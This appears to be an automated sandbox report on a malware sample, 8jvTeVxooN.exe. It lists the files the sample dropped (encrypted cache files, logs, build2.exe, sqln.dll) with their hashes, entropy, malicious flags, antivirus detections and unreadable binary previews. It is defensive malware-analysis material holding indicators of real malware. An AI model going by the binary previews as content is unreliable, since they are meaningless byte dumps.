Size (bytes):	16718
Entropy (8bit):	7.988851729401135
Encrypted:	false
SSDEEP:	384:6zbQkOwxNTxuK1sjd2ngKWfzMCGe0n4/jJ5EgLnfPn1G8d:qbtjYy4d4uzMCH04/jkgLnn1Vd
MD5:	EE794A9561C6542B5AB6C6A9CC247390
SHA1:	03C2203C3592AD3AD1C6B9090ED1703CE3F00F15
SHA-256:	4B97EE1AD74B4CC57D4DB1B3C5B4C8FB5240A27602372657203832670E240F19
SHA-512:	7AEA7ABF908F0891BF3AEF661B6EC80F25BA94CFE1A4ABEFAB09407B6192336EB5174E483A332F1A7D4DD963C2BE5BC2B5E05A3178E03651230384EE360B3E73
Malicious:	false
Preview:	....`z.iAO...E......V......"i....u..sy....=.V..M.......J3%.'.....$..-."....3.......{...D..K.........k..!a..t~/.f&u......,....(.jK...Q......A.h.tW..1b..O..<7u.G..p...UmAV.....R.~..P._..r..N.)/..][...?".2.O.H.h..].g".L\.-..`...`..."Q8.E.......BK.u.@.j.h}l!&.V...C.b..'EI8..T../?.0.e...2L]]9............\|.a/H).... .e.>.Q....^&].GA.NR........].iAV6.r.....q8...C&(!........M......p...........&...="...Pwp.z.0.`..I"W..\.a.....).....K....zz..9-.'... s).aI..5.6v........^...p.....KG.ov>.S^.@.S..d......$....T..H7@..U.vU.F.c.uV...c....Ii.o....,..@..g.7.....W...,.9R.^.t...r.._..?.qq...._.....W$`...(#5C.(.R>;..k:.0C........L.....gD............P.=.~H.1Zd...;f.I..M..1...+....V.XT.".p......4RaQ.;.u....n..ME`-oQ.c8..Z..s...:t=.3.z/..D.{.Ne\|.(......~.4T.w@1X..5.C..}:.]}...H..,....N'TAO......\|+ecO....Q...KT...vE.@.<...^E.`B.!....>@"U=.b`....w....M_.....l...X.....E2...7..UO.S!...l...g....R.q....+.l...t...#..@....M..C...j.%..7.Xsa.....w...~.;2.yL?s.\|.dWst...

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.330104572202664
Encrypted:	false
SSDEEP:	6144:PM9ZKG6swMVGKvxxM32dsh9j7Jqm+vyJfbnQkK96B88yKv4bWTmTvEiLSd:U9cWLLtsPIm+6dF4/O
MD5:	9B59281428ECEB221C84F0EEDD364F65
SHA1:	994B104AD051B8A8DFA913A301467C160C02E9AC
SHA-256:	6A66E8B050165ADD267E215DEA4B20F41E55ECDF3250460D4E92663A7925EEF4
SHA-512:	BF20A3CD3F30795A24FC422766AECC941FC5F85A8E5F2A382F6FACCA60CB893922CA7A5E47B01D9A06788898D9DC7BF0F292A28143B60AC32A200890873D724F
Malicious:	false
Preview:	.w.. R.Z,%.....&.1._0F.=S.....:..c....J..g....w.a../.....U..L..]}..#......n..S.^.7.{.,U\|..5../..\~...,.>....M......i.....;...I......C.%>...;w.^W.`..`8...... P.^6..6s..".X.fS..............7.wOO.....%........\|......5t.'.Oo......D.M{....+.IUt.X.0..Pc8.yt..X..#....yZ.7..$.tv....n......@rJ.GQ...K..O.ei...}.J[.{....... ZA...]........@YG....@.........y..uqbd.\.c9.}<].r#...;./.Y..l.......m.F..6.Z.9.~g....s{...Ce3.X.U.u...a.<'...Z..#.{.C.}..O...K..?...P..+0.....I."...m.O.....pu......X.+.o7=0h...yOC....8...u.dD&.\|<../..).T._....!.D.1).vu.{.s..F.].........H.&A.\|.?.7...l.L.X..W...!s.[).I...\=..EW...{.7....(Ws.".6.0......... ...?t..J....I.,4..dV6.6T...6AA....0Q.n?.....6h....P....\....9.p]2\.jiF.K.z..d..'.J....=T.-u'$.x.5..`i3Id..3\|.5H.........9...h=.....1D ;.[{.9.em....-.Mo...\hF...".Q.>.1_V...zX..^V.v....c.bT...G.y}..9...G.V...........I.....rR$..>.O...}...rW.r.JS.q...Q.N...w..uR.X..EK..v.xO..P ....9../U...{.KQ?..S..5....}..D..G....N.v.FKv@.G..q.:tA....6..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.998395411625892
Encrypted:	true
SSDEEP:	3072:kJ+Wuoj7docYRkgQOvc7lqaiExldPtidp:6+xsdQRkJj5diEPd4dp
MD5:	34BE5FC851448C260994DEAA137715F5
SHA1:	5DBF2394917310AC28D5C045595490E7F5721DA5
SHA-256:	68B02BB46A0F1F4825692083267E5F378755B9F5EB87CD68BBD97E936CE6E521
SHA-512:	940384B7F47FD6E6A1C843EF1CDD22E404FCD7207FE77C9BA803DDD8161E96DFB76FA415539544C3FDFB44D98E2C9E39884DE3A0A8AD8539F14BAFB464BC39EE
Malicious:	true
Preview:	....h.\|sbL>:..O..G?.....>cSY..x:R.....C.....).":.@e..5.......(..q..J...U]..L.)5...]n.s....^.I...=W8.YW......!..D...6..W/.M..b2;]oH..rh.......z.C...G..1^..7.R..h.Pc.s.....S^.(..8w...Ie.U./..>."M!ws:y.b..4H&. T...l5una.........h.61T.o'O..\|.8.V.8..7l.P./&.5....w...>....R......9..:fGh..Y..qr.....>.).].l.#.M.0..o.:..^....(:W.. #...(.4..B..j.H:..{.Y........}y.Z$o.5k...[....1+Wwr'.<.x.\|U.8.BF..kjgv.....-..wL{....V..x./.0.\|\|%...\....s..6W..5..r.f.>&~..S....\|B.E.5.c.[.....~.....P.Ldb2.b...S..'.$...E.4W......N....+...Z.n.,.D.z.G....;_.. .7..~.t.....u...g.t..8..A\|.b+VM.?..u.\1.k`.D..7..`:..2..].D..:Uk1<=ID8i.;p.M.%...4......I..5.....@....=.....0.^.IN.y..........>}.G...Ad0R".....&.Ub....D...t..BPi..3...,...d..o..$.-g.R ..=RZ.^.!....<.!..G.S..,...%I:.a1.....n..#.'.+...6o/.tQ....3..a.....NY.]R..5A.ppUN.p...I...y.%... .../...i ..s.E..}.KN..M.".B..nd.}[.E.Mq-..t...X..`d...$.'Ii.u..A.......6........V........4t`.Q.e4..s....`q8..XG.s..>_..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.998157095008186
Encrypted:	true
SSDEEP:	3072:mVDdXKffzNgvYsP403lnOIlKJDX/lA1XHj6g:mzaXxga0dOIIJzC13ug
MD5:	D24EB7527E9959503D49252C9B21D027
SHA1:	389D114B96D3582840BDD39A02CCB3DF144FE7DB
SHA-256:	9B41408E6311203EFFC8246E8CE848697444D0E151045EB327CE28E9BC0F13BB
SHA-512:	13D695D0FDF75176367B3A4A10D3F0552200AEF4F379522D4B800DAFF608C84E6F3BFDE0FDD009248FE14A07F71A5C2251BD8B1370E547491EABF945FBF18F1B
Malicious:	true
Preview:	....h...L.g..+Z..(.43..+.....[..2..w....Q...J.!S.u{..?...V...;Ve..H...`.hp.p.....7..t......?.....c......}S`.j..&.9j..Vu...]m<~#.daU...s........y..\|. .>?.y.....\f{N4.o..J3...8.f..?zKh.i{.#r.k.:."?.].........\|m....{.9.>o......v....0.".G (q<...........>.W..,0.!.<.{^+v..V..-p.>.....i...8....k...L...n....fN....b."u9..U.VJ8.H.T70......X...#..c..y..P.p.;...3....u.52.'vW....(S4....t.....x..f.1...Mc....j..qD5..g..6........9.z....D.i..<....Q"/`.A.V..[.....Z.....8..\.=.nAz(%.Tvp.:..#m.R..IZ;.....H..d......L.....l.....C.....N3:.+Z.z.A%.hk........g.Dt2...KS.l.(..aGAh..g..:.A..KR..%x.8,.....k...(.u!U.{.Po..q4....h.WR..&..v.M....b.j..o..y..\|..6P).+.fr..g.....G....r:...S7D...pz .......Ze..3.4..SE.1[6.9v#$d..>^.-0({......I..&..'........-\&..g..<.K....`....k....(;...N..RG-..J\|I..Pbr_...^.h8.. y.R.Z..s...L.....Y...eQ'.Jv...DJ..M..E..Ew@Ia=..Q>."..m......f.i..4.(.-,....>.b.......x.Qz.K.<...?.`g+E........!]e.eV..F.$....\rz..5..).P#W.Q...x......\%3..*@.{.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.996302972330939
Encrypted:	true
SSDEEP:	1536:n2uTsuPnv6FbwbePiU5lQlGxBhGmIu2nVZrCdIIwwE:TouPnSFriUnQlcvGmaIg
MD5:	67595196C3E1C2156F70DF8C82E34BD1
SHA1:	24093DBA4951FDD7BB50A03295A5D50BDB9FB826
SHA-256:	9D42F8ED0A9F5695E74F27423E1A9952FDC917C16DD3B2220198BC16E561D9E4
SHA-512:	96074B75DA0DD01127C3394EB6A407073FAD83C68BE6ABC751CD63845969F857D9AE60A3ABC37FD10AB501C50B73A3E46B7AB705B2C2922F97D6C4E794CFE7E0
Malicious:	true
Preview:	.....0.R..Ku../....bqO.....bd..V\.. 9{....-..>...8c...Uq......d..I.P..TGL.f..hW...y..x_Z..K..U.fk}..O............f..'...._.....c~.._hbi8...<..rDA.}.3.ii.E..;.c.;...8z.O.J..-".b=NH!.pB...e..(.9.......}{>X.'2.\...v......5Y...)@.}..Y.-.4......].[J58.!'h....5......[m.TmiQM4....L.M.`]\_^jc3?.SS..,.......x8u.....:f..........7...t.. .r.p......<2.\..s......2.n!.f.HB.f.._.(....$w.]..B`...=...VJ..![A...q....v..-.T;,..."....../..E..{.{...9....l.t<..O.&.e~o...$D...B:................c.Q.D..#..U.R...T:q9...d....2..J53.P.....\...4.~#L..q.oj1.<......g.[..Yv.&B"......7...+_+^j...SWr.<.z..k...Hna.....l...s.........6.W.b..f..<O..{-.{.O.d.<..h..,...B....bd..pJ.U.X..,.D.S(...r.........7.].s..r#.Gcy..&.~4{.....m.....a..2..Y.y...-!.!.C.8.+(..0JK.?.o.nU...V..I..9....e.6.\_n.....H..L...X.O...,.;.Z.....Q9..4.Z.N.............Cw..A....Z^..X.]Zj....v3XX.v.R.. G..m..W.=.S...OX...e.aQ..x.d.C.?[!..{.E..3>...4.k..B._o..<.....).E...$.w..0~.=...}y...NhV.c...BPW.o....:.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997884563979587
Encrypted:	true
SSDEEP:	1536:VA0DWjTx80qrIKDqj88FAy615+k3xle6lv28axa96cCxZM5:VFWvx80UIKDqj3ul15PxUYe8asEBxy5
MD5:	4F31AE58E176169E295B3A60FBC95061
SHA1:	811D38D589AB666CD6E680614016E5702C41FA0A
SHA-256:	C64182E75829EA1E9DE5BB969BF0C4615B60C200192999F804845C8B92F5B28D
SHA-512:	F606C288C9331CF66139E4F99248706D3E6064D5755D9A88D58875B9DE982E938D888B4249A0EFBEFE97DB76ECEE4DDDA63D282B9EF0EBF00FF546BE3E258863
Malicious:	true
Preview:	.....]....h".N.B-J...(.d)XR.....1..=[.!...2[.z. Q{L...$.H....xm...fY....NO8$e....lo.......k..v.j....[0X.%. @.u...m..y.>....E..EU[.....U...D...t...<..,.7...h.,...I.{....!...].>.......@aw1.....u.0 GW...\@..@....v."..Hvn..?X..Wp..)...xrk....b..v,.GV.=.x..Wa...m.c.......ho..4.g.....$..q.6..u4.w..\|..v'jr.H...[.@".vI....1...h.y..I..NKS9=...>:..Z.M.s....y.8..e..r..9....g-.?.K..uE".e.S....I.3D..d.a^s..}.>u....9a..@.FG...B..KVa.W.HI8.!A..kB.m.R..Q.y....:..D.<.._?../....!.B.=.o3.Wm.U...M).....FG..OI. .Q.v.n....V../..k.y..:......K..!([.!E'....K~l6.N.......qu........'../..\.."@..I.....GF.l. ...w.c..K.\C..A..!t..j......d...Y2....[..e-..r..=..K.#?.t...s.9..V..xU..=I+...$^..N^..C....&...V...$p..+..S^a.^....E....k.8.J...6qU...t>...A."..?.x....."...r...-\......}?.g...X...cwl....+.89...K.1h.&...&.y....G...A7CYC.Z.2.l..kC}[.L.Y...+,. z3..Q..J..1...}).s.]GT...)0.xS6.U.iQ.A..=...U.`7s.8."."........./.........H.M.7jr#F.z...e.H..&%.I..(._..I.5

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.818192315475655
Encrypted:	false
SSDEEP:	3072:RVHLGNOyZqLPFWvkJKvFY5B7hdCGtiz8VaFn6KFjkeRZY3yWjaps0O/949ZoJLyl:RVrGNOEqLdZcNOmz1FnjPoyH9QYG6Wcd
MD5:	36445E7F7D4007EBCB2D72F4779A4AD6
SHA1:	AB2F85D5B92E99FFCCD386B29AA4D1488995654B
SHA-256:	8355A9B109D7696231AB258F4B55485C0B9A61CF1137E20E8F3370DAC08347E0
SHA-512:	44586C7D705274520ED681E1A697424A717D7C5D6DE40B4BE282637B58C0713601E17C6E6BEC76E71E83578B460BD4779F27E11ED5F7C50941476B73ECF21822
Malicious:	false
Preview:	. .....n...}.t....,.../.e..s.t.l.o#...l..$....V..GKdY-f..%0...{i.P.0..'3..~2......[SS~..\|..$...8.1...N..Ww.#=..:kZ..iou.i..p.).K.FE4{.Y.O.C.\.!3.&?i...$F...e.............n~.&..4.....H1FT...e-.k...9].T..\|U......;.].JU..r....7.j....L..c.'.^A.F..\|.4k..?.N..`......-.n(.\.R..$.....r?........T.C.Wo:..U.j.MOMM60Rr".F4...."p...5.Z.\+...o...Y.-...n.Q2G4.+.......'....^-xg.(.&\|...~).6.R%.1).H>._.....D.F..z\z.Ek`.0..`..,..x....B.........K/..I.1Q\.X......:..#E.... o.,RFn.4...A.\|x...nQ...`...ZI...y.y3.I..y...8.tE6...p..o.&.h.%o]4@T;..MZ:8B.....\AW/.w..R3.L..M+9..2a.k...d.b.;.lK...=..@(......PE?ex..\|..u.n4..t..mA.v......2.l9I.W..9...o+.CH..pS.Z..m......YIe}...H>}A...H;tw..e$o...Z..)..;&....f..d_..........x...!B ..Fg....S...w4.q...............=...s..A.#b2....B.zQ.DTr.l.F`1_..m.)...V$+..@.<.. o%...qv.+a.....\..0...t...)Ep.$.;.&G.mK...Z./.#..=...A.^.]...... .'..Kj.u8S.......N]..",8.....q^..^......y.s[.,S..g.0.$xF,...V...,.M..j.....".......M5.kM..y.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991728490407387
Encrypted:	true
SSDEEP:	384:/DkGo0t1WPervjFpJ5irP5skEjL25OKuY8DtsxFURu3+Xi4NHarfT06WEp8gxp:NJ1WPeDvJsDeuKtsH9+Xih7T06dKgxp
MD5:	A74E9CD252D913007B17D1083E90E76B
SHA1:	649980C5C4D1B80DA93358441BCF44211B6922DF
SHA-256:	30FC1679360ED69F39D278F9034A7C55EE0F2FB3B90BCDE780B3A099C867213B
SHA-512:	B08D577D4EDFCF341EAD9CBD737D89B33F879A6B9CB9E84B7B96258738D11F051EC6F5D3C8F87D819283DF27A4D210E0A9C042679FFD56892D6540EB754AEF10
Malicious:	true
Preview:	. .........lS.[......w....=..A.v.f..;7.'.\..L...EN`.ekz[.ag..I.3F00.Xdd........z.L.W7K.X......C....Y...w.Nz.8[?#.....Z....o.t..q...,^8Ae.H..8...0u.b....9U-..A...}......TE..........6r.+.S...."......n>]t.o...\.{.....n...~.G..S.sa.<..4.n.z..GR....8...2=3.Bc..)^...7D...........E../w.c....... .E.\|.cU..-...`.A3.X.2&.t.1..S.$c/.g....ld\i9..../".}?..B.. .B.E.B...........k..._..}........f..gw..<5..0.....f.o......f...N...(.6.f.:.....3@&..rN..r.JF.....fC...?r.!.....r.X.....`.6/9.J]....".f..J].."......\|o..........?.....nD(....A..3..}..+.F{h......O1...as....8;.........=GX.......u..6d..t.q.Uf......CM.X..NR'.l&....C$...'..T..5cs.'9.t.9.4"q..\....ww..,...d.5._...E...5...;b...0.JsQ....+.[....?{kw..1.h.+..qf..f....#.Y.....&fp.7.6..3";..R.v.=e....' ?....&.:.....@..._x.h.L.0v...e.<...d.(-....^~.K..,e3\...2.K...... ..u.z.~.}x...Ke...[`.^0cA..)]d.h.5.L#..........Q.-...u.{.&=..9..b8BZj.39. ..y"...G9...9.....5...p....N.....8.b.....}%....Z......k........

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.330225493765534
Encrypted:	false
SSDEEP:	6:cbNUq/jGTHjnQhv45Mfr2ktslU7JzmfKWwVY++pkY2XGObTbuBscii96Z:c6qanQG5MKktsHKWwVB+N2XGGfuOciik
MD5:	5433AF12AE1FDAADEDEBE8672904C8A1
SHA1:	B63CFA43D26440C5D1E0D14E9F27D213B21022B9
SHA-256:	EFD23E4B8D14649296852305339A44AA451AEB324D1DF5FB64B6F2D4E7D6E4C6
SHA-512:	E102E3E0ABD6BCBEFF9533D529B3F0801E17BB77166F8B1F89216474715BC6EE02CD6B54A170A5A06678BAB1E3E11FF4253E376511520BA6687B76BDF8B45988
Malicious:	false
Preview:	CMMM ..k.w...Q.F..B..>b%.tK.#f+L.p.*.......j..4=...B..".WT..?0.a..lj.1....@1..........P..Q.{.o.w.......>..V#tOG.....).....O.T.js....s....t.._.$@H........`......."..0.p3....5Z......-_3'..F.h...(..s....9pbBuJ,x.....}P8...R...CB...d`.. T.ir....V.Cs...........nb...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.24000315742383
Encrypted:	false
SSDEEP:	6:oSDLJKvZunQQhoU8VW/Fr7k7YJjFtQ54dbaEgoHuBscii96Z:oSDovZu5m2R7ymjFtQKdbaOuOcii9a
MD5:	0157294FE84C937DAC46DC8C1DA29315
SHA1:	082CAB9F0CE98C4382D640E72ACDC3CC2D05F704
SHA-256:	CBB899F3A07D8163798D4E2453415362D9C793655667C8A1560750978AE799D2
SHA-512:	EE7B3A38931928C60F172F60553E72340F068F64E7FECC81DF3AC8F9DF8798EB732F996FBAC9E7DDC3BA037C0EF523F12656209FCCF1C5BD4F55AC9C094DDBB3
Malicious:	false
Preview:	CMMM B.{.....-.a..b.R..My.c..#_....1i.+.......;..........tT.z.O.........^.Nv......F.j9..."v.\..".b..w\>.....9...[.6m..1M.F.*....=.,9...eq\...K[.Dr.;T ..p Q..5......+T...$....m.u(.t... (.}A...UJN...(...u.^.jt.Cb4......F.>x..Y.N%tJc".'...Ze-..p+~..u..!......+l.......>.GZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.345454316652004
Encrypted:	false
SSDEEP:	6:FBKvbJe8wxrP7pGwB4yVjhNLH/18HqEDWvsuK6W4VThQwYCQMmuBscii96Z:F+le8wxb7pGwB4yVhNLH/+tDWy6FVLYh
MD5:	4F226906BDBA02CE6C9BFC3FCE6CEED0
SHA1:	092837262A5BD9D29716B6E21ED001568EAA06E2
SHA-256:	D27E9688AB0CFAE453261BDF4604AED21742266E07AC255D70097B60B1FF7B96
SHA-512:	4637A1153FB3BC1B99894754EA45C77C861796D80EB69A48C42DA2D181F48D3007E36441BF694515A4ACC8F739822273297E52D02A0DCC746418F9B0E4A7DFC0
Malicious:	false
Preview:	CMMM .x.....'j.Q.lv..]..7._k.cG....B...8O.S...!..B.[.;.>.....j....u.....N@.%.......b.........w.......G..&.$..K#....w+K..).e....R.......&..?:1.F....HTb...."~.G....V......I.9..VU....J...H8..y...&.G..p..[....Vvg~$.."."..>.0(.X...<O.O..BE..K..+.Sv..A.i.u..Ln.5.../_..K.pmZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2604106377328765
Encrypted:	false
SSDEEP:	6:+aXPkKYXX3VjOQdAHXexDw2RKJEISYck7MHQ5LdAeLr16DxHEJwuBscii96Z:+ccXljCqDw2RKOvYRa4d6D1OwuOcii9a
MD5:	AC744CE2410BAEA801406408DE045C46
SHA1:	C43DAB691AE3867EB25A9E529921EABF9534B597
SHA-256:	35CE1E7B69A7EDE72B5BA75E50B110D573004F4246790C23D899664A8811B363
SHA-512:	1CC579F022CFCF2E1834158A2A985F1FD828186F5CD3D5BAE9AA53FAFA66718C1CEB45651E385D23F795857B685DF1A36FF74BE9426BB4293CBD3286D3E11EC7
Malicious:	false
Preview:	CMMM ...N.[..*.(.....?.S......\..+P$h...L....,sK.E.u.H...0..jy{..r.V..=.m.6...x0.\|...A.%.I.;vF#7.1]N.0...y3.a.i.K..{....$..q..h..67.K.P/."<R....W......m/.m.M.4.....X...sfC..s..U...@..Y ..Mu...,..n ..J0....rK.BT..`......~.O.Q.cy.4..:..C'...........[.MA.i...\|..<.hYZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.334443203495982
Encrypted:	false
SSDEEP:	6:nTbHExcJfoFw+rRJNgt1VcXK8+0wpg1rB8xvjEr3+yUx2ES6OAGwuBscii96Z:nTbHAFrGt1Vk+0w24ASVOYuOcii9a
MD5:	4E18564E55140FD117A9B84027676968
SHA1:	E1B651383ED720513BE71490A346D1138396CAEB
SHA-256:	945A67ED2C7AA93ECF4AB55FB3A4F0CB891610F25B38106A190066F7F3CADB08
SHA-512:	EC49429C27DB2D5042EBA524F40113CE81A5045C77271569F1B9818C1EED4BE55CBB0AFC25FBD5F75C0E08105DF9D02AE612A35A128659DCD56E79CACD8C512F
Malicious:	false
Preview:	CMMM .Y............0f..k.".6.C.[.rS.../....8..]..c.U...x....P.........s.I..K...7..^..Y.C<..<....d R.*..Gy...Y4V..B...6...b.[S.`.LF..C.,....G'...N?)T,.AY.$...6..M J".!.........?..EB......?...,.)...H.mi3G.^."...%.......v.....=.U.P.nv_X.(.3...p..u..m..............Bb.@.i!Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.215548164401028
Encrypted:	false
SSDEEP:	6:DMAQtWZMDjzRsY49H8tUxEyA2zP1rnrHra+s9CDaE23buBscii96Z:IAB6BbdsAqZq+s8GLuOcii9a
MD5:	92CA9A83444D1989E79985D23E67C414
SHA1:	627D35E939D79C7ACB8D1336DB6E25A9F9F485DD
SHA-256:	51A5ABEAE30FDD987800E5E36CB54F8BB72E3B143F7920C42974796C30E3AE17
SHA-512:	EAF39450912C9104CE374A7737C738C13A28EAA87ACF4253E734FF79031D0EDD139072307D25CB08C2680AF3B7B50261175488CD3F60A45A3DC9DE43BD636EB9
Malicious:	false
Preview:	CMMM ........m.u.Q[...C/s;. v....HV...^>..I.?t.:.....&.[...t7...-2o..M.76.M..b....b.i......r(.....L.}.0Au..j]v8..S$Q{.a..............X.^`.T+..A..o....Q%..O..5";..$L..qX.E....m.....V"w.Iv8]0....J....._...u..... }..~..8..BD(.z4..............5.z....".m./.h...6...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	34124
Entropy (8bit):	7.995098225914494
Encrypted:	true
SSDEEP:	768:pDD0FkDoOnr14zCBhPu8EQcWM6+AQLUWbDVJUUiJMWCl33C3NT6l:Jpx4Wjx7cAQwMZg/mOTE
MD5:	EAFE181A1E24152312D214D39B4B55D4
SHA1:	FF471EE7AAE5C5114DA554E90B2DF7CDB367819F
SHA-256:	B6043208FCEEB3E2625D53ACFB512B1C3748EFD910DAC46AA19C7C785DBF95E8
SHA-512:	5952B56E7D78307E441F06230A2F0518B830D10F12A381D40F6730ADC07B9C34C493C46342C85AD6F3675D26747A07B4A6ABDE88D3947C281582C03FA84E0A32
Malicious:	true
Preview:	<!DOC..0.....m....K$=.3k`n...L.....K._../.........u.Q.].J......t.1.e".k..@.:.6..E..h.LD....i..q.z..9..<.B..X9[.1w.....(9.2......l..v/....9..:....b.B....u.4+!.#....;..R.;_...0.ZxJ..b.h.........A.a....q.7.K..W..6.N.Kk....[...a...}...lR..Ls.3.i....3..]c..........i..mC(R.0U.J.+......HW.U..g.{...L...yMSR1.].BX[,.....#.\.g<UG..111....N.X..0,....T\7.......p.[.{i].c`n.s$...>..K_hh..hi.2(h..=k.8.G..HC.3.`..I....T..K..!.s..n..0..A.O.M'...d....m.~.A.K..+Z.l.T....#e..s..+.uY..^h.8*.w...G.?.A.5.v.K.......:9..]B._...A.".+..p...g....(Q../].A.T....=.........Ofy.G,[z.f....mZQ\|.b.R4.......5.L.+ ...O}..'.69.10...^jY.>G.....~....].N...c.h.. ..FQ.hq{...M... ..O.N.l&.F..v?.`B.Z9.1v;....ib.P..-...'...wLZD....}... j.)^.m.@9'...J....x\....Mr8.08.C...J1.0..\|7....\|h)^...0.....(..m;....a...r..s.Z(.=......h....w3...$..K.ji..._...V.8..=-.d..v.p..S...I<.0...{q.s.yb....LQ,P......[.>..~'.&.#..i.Xso.9....2....!..f..h.hw.../W............9.6.Q.S....X0v;c...U....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	296448
Entropy (8bit):	6.701097338503782
Encrypted:	false
SSDEEP:	3072:QOKV/JhkCZrraOTzo+fGN2ZDFlYJ0YeA4Mcjv3SSyrqwLIY7Ni1KfqbdonRMIIyZ:uXtPJoqYYZCBVIYA6iQeIL8E
MD5:	A04031208441077A014F42095FF86107
SHA1:	DE1506EB54B9947B4DE069C87BB1103BF17A08ED
SHA-256:	9B0DA8AB12D9CA7CC05B9553BA3D3407E4EE38CB9A74298096022B2B46563FB2
SHA-512:	851741FD1856058C4C759392CAE2D4694E05A9E7098B8E50FCCC601BD588FF0C92DCDB577D7937E7D4C73879394803B13D2F1EACD72488B0D3C3C226929B81C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: 3CB27VUHRg.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: 8xFzJWrEIa.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................o.....P......Q.....#...........?)U.....k....?)n....Rich....................PE..L...G..c.....................0`.....m@............@..........................0a..............................................j..d....@`.f...............................8...........................@`..@............................................text............................... ..`.rdata..Pt.......v..................@..@.data....^......6...`..............@....rsrc...f....@`.....................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll

Download File

Process:	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
